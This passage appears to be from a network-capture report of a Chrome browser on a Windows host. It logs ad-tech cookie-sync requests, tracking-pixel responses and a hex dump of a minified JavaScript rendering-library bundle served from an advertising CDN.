6f 3a 6e 7d 2c 46 6f 3d 74 6f 2c 78 6f 3d 70 74 2c 4d 6f 3d 49 74 Data Ascii: l)\|\|!mo(Object)\|\|!mo((function(){t=!0}))\|\|t}))?wo:mo,So=Ue,jo=Oo,Po=U,Eo=Yt("species"),To=Array,Ao=function(t){var n;return So(t)&&(n=t.constructor,(jo(n)&&(n===To\|\|So(n.prototype))\|\|Po(n)&&null===(n=n[Eo]))&&(n=void 0)),void 0===n?To:n},Fo=to,xo=pt,Mo=It

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.4	50356	34.198.123.133	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	1083	OUT	GET /qmap?c=1389&tp=STSC&tpid=035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553&gdpr=0&gdpr_consent=&d=https%3A%2F%2Fpixel.tapad.com%2Fidsync%2Fex%2Fpush%3Fpartner_id%3D2499%26partner_device_id%3D035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553%26partner_url%3Dhttps%253A%252F%252Fr.casalemedia.com%252Frum%253Fcm_dsp_id%253D64%2526external_user_id%253D035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1 Host: sync.crwdcntrl.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cc_dc=0; _cc_id=578c83848f5e56a85ae351fdaf32db39
2024-03-28 08:51:36 UTC	562	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Length: 0 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.40.3.162 Location: https://pixel.tapad.com/idsync/ex/push?partner_id=2499&partner_device_id=035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553&partner_url=https%3A%2F%2Fr.casalemedia.com%2Frum%3Fcm_dsp_id%3D64%26external_user_id%3D035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553%26gdpr%3D0%26gdpr_consent%3D Server: Jetty(9.4.38.v20210224)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.4	50364	3.225.218.10	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	753	OUT	GET /ups/58294/sync?_origin=1&uid=030a3e80-9d89-08d6-3a80-971e17bad28e HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBJEvBWYCEATYrtx-xGtri1kHhW5ZxLsFEgEBAQGBBmYPZgAAAAAA_eMAAA&S=AQAAAkUcioWL-4l4wBfcMUc-yBU
2024-03-28 08:51:36 UTC	609	IN	HTTP/1.1 204 No Content Date: Thu, 28 Mar 2024 08:51:36 GMT Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC=18za~2hjk;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 28-Mar-2025 08:51:36 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Connection: close Server: ATS/9.1.10.106 Set-Cookie: A3=d=AQABBJEvBWYCEATYrtx-xGtri1kHhW5ZxLsFEgEBAQGBBmYPZgAAAAAA_eMAAA&S=AQAAAkUcioWL-4l4wBfcMUc-yBU; Expires=Fri, 28 Mar 2025 14:51:36 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.4	50387	104.21.80.92	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	686	OUT	GET /ng-assets/creative/assets/index-be69d0ff.js HTTP/1.1 Host: cdn.bidbrain.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://63b93f34a29d568971c64c5fd0da54ec.safeframe.googlesyndication.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://63b93f34a29d568971c64c5fd0da54ec.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	1267	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: application/javascript Content-Length: 113931 Connection: close X-GUploader-UploadID: ABPtcPqgtBa298oWdMMnT0w6Btv2LvOdknrdFEh0fnB7aR9IwBBU0FOB3mM38qo4IlN9FXLKgfQG74Aohw x-goog-generation: 1710943976332261 x-goog-metageneration: 2 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 113931 x-goog-hash: crc32c=ynNdkA== x-goog-hash: md5=eGiB8zHvLLCI2+nXvWgaXQ== x-goog-storage-class: STANDARD Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length, Content-Type, Date, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-Trace Expires: Thu, 28 Mar 2024 09:43:03 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 20 Mar 2024 14:12:56 GMT ETag: "786881f331ef2cb088dbe9d7bd681a5d" CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XTQ6jxOk9VWQvBS7pDQxHYieDTCquzvINzMFbHVaE457qiEozSss%2F62sEzi4A2LhmgJnYiepZf5VJQn8MifFv6tSH4IfTgytPjVQ0HNjl2FZqRoWeNL%2FwMdNjpwKfhbjkwuq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6611af8941ff8-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:36 UTC	102	IN	Data Raw: 76 61 72 20 4b 6f 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 65 73 3d 28 65 2c 74 2c 6e 29 3d 3e 74 20 69 6e 20 65 3f 4b 6f 28 65 2c 74 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c Data Ascii: var Ko=Object.defineProperty;var es=(e,t,n)=>t in e?Ko(e,t,{enumerable:!0,configurable:!0,writable:!0,
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 76 61 6c 75 65 3a 6e 7d 29 3a 65 5b 74 5d 3d 6e 3b 76 61 72 20 71 3d 28 65 2c 74 2c 6e 29 3d 3e 28 65 73 28 65 2c 74 79 70 65 6f 66 20 74 21 3d 22 73 79 6d 62 6f 6c 22 3f 74 2b 22 22 3a 74 2c 6e 29 2c 6e 29 3b 66 75 6e 63 74 69 6f 6e 20 41 64 28 29 7b 69 6d 70 6f 72 74 2e 6d 65 74 61 2e 75 72 6c 2c 69 6d 70 6f 72 74 28 22 5f 22 29 2e 63 61 74 63 68 28 28 29 3d 3e 31 29 2c 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 2a 28 29 7b 7d 28 29 2e 6e 65 78 74 28 29 7d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6c 69 6e 6b 22 29 2e 72 65 6c 4c 69 73 74 3b 69 66 28 74 26 26 74 2e 73 75 70 70 6f 72 74 73 26 26 74 2e 73 75 70 70 6f 72 74 73 28 22 6d 6f 64 75 6c 65 70 72 65 6c 6f 61 Data Ascii: value:n}):e[t]=n;var q=(e,t,n)=>(es(e,typeof t!="symbol"?t+"":t,n),n);function Ad(){import.meta.url,import("_").catch(()=>1),async function*(){}().next()}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreloa
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 6c 29 7d 66 75 6e 63 74 69 6f 6e 20 53 74 28 65 2c 74 2c 6e 2c 72 2c 73 29 7b 76 61 72 20 6f 3d 7b 74 79 70 65 3a 65 2c 70 72 6f 70 73 3a 74 2c 6b 65 79 3a 6e 2c 72 65 66 3a 72 2c 5f 5f 6b 3a 6e 75 6c 6c 2c 5f 5f 3a 6e 75 6c 6c 2c 5f 5f 62 3a 30 2c 5f 5f 65 3a 6e 75 6c 6c 2c 5f 5f 64 3a 76 6f 69 64 20 30 2c 5f 5f 63 3a 6e 75 6c 6c 2c 5f 5f 68 3a 6e 75 6c 6c 2c 63 6f 6e 73 74 72 75 63 74 6f 72 3a 76 6f 69 64 20 30 2c 5f 5f 76 3a 73 3d 3d 6e 75 6c 6c 3f 2b 2b 7a 72 3a 73 7d 3b 72 65 74 75 72 6e 20 73 3d 3d 6e 75 6c 6c 26 26 4c 2e 76 6e 6f 64 65 21 3d 6e 75 6c 6c 26 26 4c 2e 76 6e 6f 64 65 28 6f 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 68 65 28 29 7b 72 65 74 75 72 6e 7b 63 75 72 72 65 6e 74 3a 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 56 28 65 29 7b 72 65 Data Ascii: l)}function St(e,t,n,r,s){var o={type:e,props:t,key:n,ref:r,__k:null,__:null,__b:0,__e:null,__d:void 0,__c:null,__h:null,constructor:void 0,__v:s==null?++zr:s};return s==null&&L.vnode!=null&&L.vnode(o),o}function he(){return{current:null}}function V(e){re
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 67 69 6e 74 22 3f 53 74 28 6e 75 6c 6c 2c 70 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 70 29 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 70 29 3f 53 74 28 56 2c 7b 63 68 69 6c 64 72 65 6e 3a 70 7d 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 29 3a 70 2e 5f 5f 62 3e 30 3f 53 74 28 70 2e 74 79 70 65 2c 70 2e 70 72 6f 70 73 2c 70 2e 6b 65 79 2c 70 2e 72 65 66 3f 70 2e 72 65 66 3a 6e 75 6c 6c 2c 70 2e 5f 5f 76 29 3a 70 29 21 3d 6e 75 6c 6c 29 7b 69 66 28 70 2e 5f 5f 3d 6e 2c 70 2e 5f 5f 62 3d 6e 2e 5f 5f 62 2b 31 2c 28 64 3d 78 5b 63 5d 29 3d 3d 3d 6e 75 6c 6c 7c 7c 64 26 26 70 2e 6b 65 79 3d 3d 64 2e 6b 65 79 26 26 70 2e 74 79 70 65 3d 3d 3d 64 2e 74 79 70 65 29 78 5b 63 5d 3d 76 6f 69 64 20 30 3b 65 6c 73 65 20 66 6f 72 28 67 3d 30 3b 67 3c 6a 3b 67 2b 2b 29 7b 69 Data Ascii: gint"?St(null,p,null,null,p):Array.isArray(p)?St(V,{children:p},null,null,null):p.__b>0?St(p.type,p.props,p.key,p.ref?p.ref:null,p.__v):p)!=null){if(p.__=n,p.__b=n.__b+1,(d=x[c])===null\|\|d&&p.key==d.key&&p.type===d.type)x[c]=void 0;else for(g=0;g<j;g++){i
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 7d 66 75 6e 63 74 69 6f 6e 20 58 72 28 65 29 7b 76 61 72 20 74 2c 6e 2c 72 3b 69 66 28 65 2e 74 79 70 65 3d 3d 6e 75 6c 6c 7c 7c 74 79 70 65 6f 66 20 65 2e 74 79 70 65 3d 3d 22 73 74 72 69 6e 67 22 29 72 65 74 75 72 6e 20 65 2e 5f 5f 65 3b 69 66 28 65 2e 5f 5f 6b 29 7b 66 6f 72 28 74 3d 65 2e 5f 5f 6b 2e 6c 65 6e 67 74 68 2d 31 3b 74 3e 3d 30 3b 74 2d 2d 29 69 66 28 28 6e 3d 65 2e 5f 5f 6b 5b 74 5d 29 26 26 28 72 3d 58 72 28 6e 29 29 29 72 65 74 75 72 6e 20 72 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 6e 73 28 65 2c 74 2c 6e 2c 72 2c 73 29 7b 76 61 72 20 6f 3b 66 6f 72 28 6f 20 69 6e 20 6e 29 6f 3d 3d 3d 22 63 68 69 6c 64 72 65 6e 22 7c 7c 6f 3d 3d 3d 22 6b 65 79 22 7c 7c 6f 20 69 6e 20 74 7c 7c 78 74 28 65 2c 6f 2c 6e 75 6c 6c 2c Data Ascii: }function Xr(e){var t,n,r;if(e.type==null\|\|typeof e.type=="string")return e.__e;if(e.__k){for(t=e.__k.length-1;t>=0;t--)if((n=e.__k[t])&&(r=Xr(n)))return r}return null}function ns(e,t,n,r,s){var o;for(o in n)o==="children"\|\|o==="key"\|\|o in t\|\|xt(e,o,null,
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 5b 65 2e 74 79 70 65 2b 21 30 5d 28 4c 2e 65 76 65 6e 74 3f 4c 2e 65 76 65 6e 74 28 65 29 3a 65 29 7d 66 75 6e 63 74 69 6f 6e 20 24 6e 28 65 2c 74 2c 6e 2c 72 2c 73 2c 6f 2c 69 2c 6c 2c 66 29 7b 76 61 72 20 5f 2c 63 2c 67 2c 64 2c 70 2c 62 2c 4f 2c 53 2c 78 2c 6a 2c 74 65 2c 6e 65 2c 6c 65 2c 72 65 2c 61 65 2c 47 3d 74 2e 74 79 70 65 3b 69 66 28 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 21 3d 3d 76 6f 69 64 20 30 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 6e 2e 5f 5f 68 21 3d 6e 75 6c 6c 26 26 28 66 3d 6e 2e 5f 5f 68 2c 6c 3d 74 2e 5f 5f 65 3d 6e 2e 5f 5f 65 2c 74 2e 5f 5f 68 3d 6e 75 6c 6c 2c 6f 3d 5b 6c 5d 29 2c 28 5f 3d 4c 2e 5f 5f 62 29 26 26 5f 28 74 29 3b 74 72 79 7b 65 3a 69 66 28 74 79 70 65 6f 66 20 Data Ascii: n(e){return this.l[e.type+!0](L.event?L.event(e):e)}function $n(e,t,n,r,s,o,i,l,f){var _,c,g,d,p,b,O,S,x,j,te,ne,le,re,ae,G=t.type;if(t.constructor!==void 0)return null;n.__h!=null&&(f=n.__h,l=t.__e=n.__e,t.__h=null,o=[l]),(_=L.__b)&&_(t);try{e:if(typeof
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 6c 55 70 64 61 74 65 28 53 2c 63 2e 5f 5f 73 2c 6a 29 2c 63 2e 63 6f 6d 70 6f 6e 65 6e 74 44 69 64 55 70 64 61 74 65 21 3d 6e 75 6c 6c 26 26 63 2e 5f 5f 68 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 2e 63 6f 6d 70 6f 6e 65 6e 74 44 69 64 55 70 64 61 74 65 28 64 2c 70 2c 62 29 7d 29 7d 69 66 28 63 2e 63 6f 6e 74 65 78 74 3d 6a 2c 63 2e 70 72 6f 70 73 3d 53 2c 63 2e 5f 5f 50 3d 65 2c 6e 65 3d 4c 2e 5f 5f 72 2c 6c 65 3d 30 2c 22 70 72 6f 74 6f 74 79 70 65 22 69 6e 20 47 26 26 47 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6e 64 65 72 29 7b 66 6f 72 28 63 2e 73 74 61 74 65 3d 63 2e 5f 5f 73 2c 63 2e 5f 5f 64 3d 21 31 2c 6e 65 26 26 6e 65 28 74 29 2c 5f 3d 63 2e 72 65 6e 64 65 72 28 63 2e 70 72 6f 70 73 2c 63 2e 73 74 61 74 65 2c 63 2e 63 6f 6e 74 65 78 Data Ascii: lUpdate(S,c.__s,j),c.componentDidUpdate!=null&&c.__h.push(function(){c.componentDidUpdate(d,p,b)})}if(c.context=j,c.props=S,c.__P=e,ne=L.__r,le=0,"prototype"in G&&G.prototype.render){for(c.state=c.__s,c.__d=!1,ne&&ne(t),_=c.render(c.props,c.state,c.contex
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 65 6e 74 4e 53 28 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 2c 70 29 3a 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 70 2c 64 2e 69 73 26 26 64 29 2c 6f 3d 6e 75 6c 6c 2c 6c 3d 21 31 7d 69 66 28 70 3d 3d 3d 6e 75 6c 6c 29 67 3d 3d 3d 64 7c 7c 6c 26 26 65 2e 64 61 74 61 3d 3d 3d 64 7c 7c 28 65 2e 64 61 74 61 3d 64 29 3b 65 6c 73 65 7b 69 66 28 6f 3d 6f 26 26 56 74 2e 63 61 6c 6c 28 65 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 5f 3d 28 67 3d 6e 2e 70 72 6f 70 73 7c 7c 41 74 29 2e 64 61 6e 67 65 72 6f 75 73 6c 79 53 65 74 49 6e 6e 65 72 48 54 4d 4c 2c 63 3d 64 2e 64 61 6e 67 65 72 6f 75 73 6c 79 53 65 74 49 6e 6e 65 72 48 54 4d 4c 2c 21 6c 29 7b 69 66 28 6f 21 3d 6e 75 6c 6c 29 66 6f 72 28 67 3d Data Ascii: entNS("http://www.w3.org/2000/svg",p):document.createElement(p,d.is&&d),o=null,l=!1}if(p===null)g===d\|\|l&&e.data===d\|\|(e.data=d);else{if(o=o&&Vt.call(e.childNodes),_=(g=n.props\|\|At).dangerouslySetInnerHTML,c=d.dangerouslySetInnerHTML,!l){if(o!=null)for(g=
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 5f 5f 28 65 2c 74 29 2c 73 3d 28 72 3d 74 79 70 65 6f 66 20 6e 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 6e 75 6c 6c 3a 6e 26 26 6e 2e 5f 5f 6b 7c 7c 74 2e 5f 5f 6b 2c 6f 3d 5b 5d 2c 24 6e 28 74 2c 65 3d 28 21 72 26 26 6e 7c 7c 74 29 2e 5f 5f 6b 3d 61 74 28 56 2c 6e 75 6c 6c 2c 5b 65 5d 29 2c 73 7c 7c 41 74 2c 41 74 2c 74 2e 6f 77 6e 65 72 53 56 47 45 6c 65 6d 65 6e 74 21 3d 3d 76 6f 69 64 20 30 2c 21 72 26 26 6e 3f 5b 6e 5d 3a 73 3f 6e 75 6c 6c 3a 74 2e 66 69 72 73 74 43 68 69 6c 64 3f 56 74 2e 63 61 6c 6c 28 74 2e 63 68 69 6c 64 4e 6f 64 65 73 29 3a 6e 75 6c 6c 2c 6f 2c 21 72 26 26 6e 3f 6e 3a 73 3f 73 2e 5f 5f 65 3a 74 2e 66 69 72 73 74 43 68 69 6c 64 2c 72 29 2c 4b 72 28 6f 2c 65 29 7d 56 74 3d 71 72 2e 73 6c 69 63 65 2c 4c 3d 7b 5f 5f 65 3a 66 75 6e Data Ascii: __(e,t),s=(r=typeof n=="function")?null:n&&n.__k\|\|t.__k,o=[],$n(t,e=(!r&&n\|\|t).__k=at(V,null,[e]),s\|\|At,At,t.ownerSVGElement!==void 0,!r&&n?[n]:s?null:t.firstChild?Vt.call(t.childNodes):null,o,!r&&n?n:s?s.__e:t.firstChild,r),Kr(o,e)}Vt=qr.slice,L={__e:fun
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 76 61 72 20 66 3d 72 2e 5f 5f 4e 3f 72 2e 5f 5f 4e 5b 30 5d 3a 72 2e 5f 5f 5b 30 5d 2c 5f 3d 72 2e 74 28 66 2c 6c 29 3b 66 21 3d 3d 5f 26 26 28 72 2e 5f 5f 4e 3d 5b 5f 2c 72 2e 5f 5f 5b 31 5d 5d 2c 72 2e 5f 5f 63 2e 73 65 74 53 74 61 74 65 28 7b 7d 29 29 7d 5d 2c 72 2e 5f 5f 63 3d 7a 2c 21 7a 2e 75 29 29 7b 76 61 72 20 73 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 66 2c 5f 29 7b 69 66 28 21 72 2e 5f 5f 63 2e 5f 5f 48 29 72 65 74 75 72 6e 21 30 3b 76 61 72 20 63 3d 72 2e 5f 5f 63 2e 5f 5f 48 2e 5f 5f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 20 64 2e 5f 5f 63 7d 29 3b 69 66 28 63 2e 65 76 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 21 64 2e 5f 5f 4e 7d 29 29 72 65 74 75 72 6e 21 6f 7c 7c 6f 2e 63 61 6c 6c Data Ascii: var f=r.__N?r.__N[0]:r.__[0],_=r.t(f,l);f!==_&&(r.__N=[_,r.__[1]],r.__c.setState({}))}],r.__c=z,!z.u)){var s=function(l,f,_){if(!r.__c.__H)return!0;var c=r.__c.__H.__.filter(function(d){return d.__c});if(c.every(function(d){return!d.__N}))return!o\|\|o.call

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.4	50370	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	734	OUT	GET /rum?cm_dsp_id=88&external_user_id=ZgUvkQAB4q7dwAA- HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
2024-03-28 08:51:36 UTC	984	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 86b6611a2abe05ab-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZgUvi9HM46UAADq7ABhzMwAA; Path=/; Domain=casalemedia.com; Expires=Fri, 28 Mar 2025 08:51:36 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2753; Path=/; Domain=casalemedia.com; Expires=Wed, 26 Jun 2024 08:51:36 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UlgJ4SLufYyTjLXFFXxdMEAbCZmHJZ6eEwgSQF12Rx7tvTXyTsKBYM11T8RvaodEzeROPAWqDJLgMnIBidS86Yfh94KKy8LnLQ6TJ%2FN7fwuGUnyuWkxvb1DNxB%2FhESgYHNVBVMjt72Mz%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:36 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.4	50382	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	751	OUT	GET /crum?cm_dsp_id=90&external_user_id=847CD017CFA04EE58AAA8C55A751BC64 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
2024-03-28 08:51:36 UTC	986	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 86b6611a4c908797-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZgUvi9HM46UAADq7ABhzMwAA; Path=/; Domain=casalemedia.com; Expires=Fri, 28 Mar 2025 08:51:36 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2753; Path=/; Domain=casalemedia.com; Expires=Wed, 26 Jun 2024 08:51:36 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iHPsmov5X8wawvj0wd%2BbVaKQFEJtrknEkeAJTHvjYhLcjohEUEc0XwBhfEKj3aBUhjmz%2BY4Xd6MVmiP%2BLnV3Vy8f0DmfTXWGfX0nlN7k307XG288oMo9DJTmjbzg7KpaNPVQ%2BP68Hayg0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:36 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.4	50371	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	1219	OUT	GET /AdServer/ImgSync?p=159706&pu=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DPUBMATIC%26ttl%3D720%26uid%3D2fe1084ffe44c28350116ec0a0a1c2d1%26visitor%3D%23PMUID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: image8.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KTPCACOOKIE=YES; KADUSERCOOKIE=01F5328A-C4D9-44AD-8468-60A885247C68; DPSync3=1712188800%3A265%7C1712793600%3A263_201%7C1711670400%3A248; SyncRTB3=1712793600%3A166_13_54_104_3_21_71_220_250%7C1712188800%3A223_15; 